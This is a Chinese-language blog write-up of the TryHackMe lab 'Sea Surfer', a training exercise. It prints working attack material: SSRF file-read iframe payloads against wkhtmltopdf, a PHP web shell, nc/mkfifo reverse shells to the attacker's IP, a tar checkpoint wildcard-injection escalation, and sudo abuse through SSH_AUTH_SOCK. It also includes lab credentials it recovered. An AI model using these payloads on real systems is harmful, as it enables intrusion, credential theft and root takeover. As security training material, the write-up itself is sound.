扫描打点
结果还是
22和80,没什么东西80是
apache的默认界面,dirsearch什么都没扫到抓包看到
response里面有seasurfer.thm
然后加
hosts访问,看到是个类似博客的,用WP搭的扫出来有个
adminer
既然加
hosts了就应该顺便测一下子域名的:1
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.seasurfer.thm" -u http://seasurfer.thm/ -fs 10918

看到:

这个会生成一个
pdf
生成
pdf的文件读取漏洞拿数据库账密大一的哪场比赛似乎是见过这样的题的,下下来看到是
wkhtmltopdf 0.12.5生成的
而这个有
ssrf和文件包含那就新建一个
php1
2
3
4
5
6
7
$loc = "http://127.0.0.1/";
if(isset($_GET['a'])){
$loc = $_GET['a'];
}
header('Location: '.$loc);。。。这里卡了半天:注意用
php来开服务而非python,好像是py的服务器无法正确处理这样的请求php -S 0.0.0.0:8000在表单里填入
<iframe src="http://10.10.14.216:8000/1.php?a=file:///etc/passwd">可以看到成功文件读取:

由于是
WP的站点,所以可以去读配置文件/var/www/wordpress/wp-config.php顺便记得改一下显示的长宽:
<iframe src="http://10.10.14.216:8000/1.php?a=file:///var/www/wordpress/wp-config.php" width=1000px height=1000px>拿到数据库账密
wordpressuser:coolDataTablesMan回到
adminer那里:
直接去
wp_user找到加密的密码:
爆出来:

kyle:jenny4ever那直接去后台
wp-admin登录:然后选择去
theme file editor改个反弹shell出来,可以直接改front-page.php,这样直接访问主页就行:1
if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }

rm %2Ftmp%2Ff%3Bmkfifo %2Ftmp%2Ff%3Bcat %2Ftmp%2Ff|%2Fbin%2Fbash -i 2>%261|nc 10.10.14.216 4444 >%2Ftmp%2Ff亦有记载的横向
kyle的家目录访问不到,计划任务是空的,传个pspy看看进程,发现/var/www/internal/maintenance有个以kyle身份运行的backup.sh
不是为啥又是这个啊,此事在上一篇已有记载
很眼熟的
tar压缩命令,在linuxPrivEsc房间里面刚刚见过1
2
3echo 'mkfifo /tmp/orindc; nc 10.10.14.216 5555 0</tmp/orindc | /bin/sh >/tmp/orindc 2>&1; rm /tmp/orindc'>shell.sh
touch ./--checkpoint=1
touch './--checkpoint-action=exec=sh shell.sh'真不会的身份验证提权
学了一下,要去看
/etc/pam.d/sudo,其内容如下:1
2
3
4
5
6
7
8#%PAM-1.0
auth sufficient pam_ssh_agent_auth.so file=/etc/ssh/sudo_authorized_keys
session required pam_env.so readenv=1 user_readenv=0
session required pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
@include common-auth
@include common-account
@include common-session-noninteractive:PAM其用于用户身份验证,简略来说
/etc/pam.d目录包含许多应用的配置文件,如这里用到的sudo,每个文件对应该应用的认证流程而
pam_ssh_agent_auth.so是一个PAM模块,用于通过ssh公钥来认证用户身份,一般用在无密码的ssh登录中其参数
file指定了公钥的文件路径在本例中,
sudo的auth类型被配置为sufficient pam_ssh_agent_auth.so,即当ssh公钥认证成功后将跳过密码验证,即达到无密码使用sudo的效果即可以直接
sudo su无密码提root之前用
linpeas扫的时候见到过:
这个每个靶机是随机的
那么综上所述,只需要把
tmp里面的公钥加到SSH_AUTH_SOCK路径里,然后直接用sudo提权就行:1
2
3export SSH_AUTH_SOCK=/tmp/ssh-***/agent.***
ssh-add -l
sudo su
THM打靶日寄30-Sea Surfer
- 本文链接: http://noone40404.github.io/2024/11/30/THM打靶日寄30:Sea Surfer/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!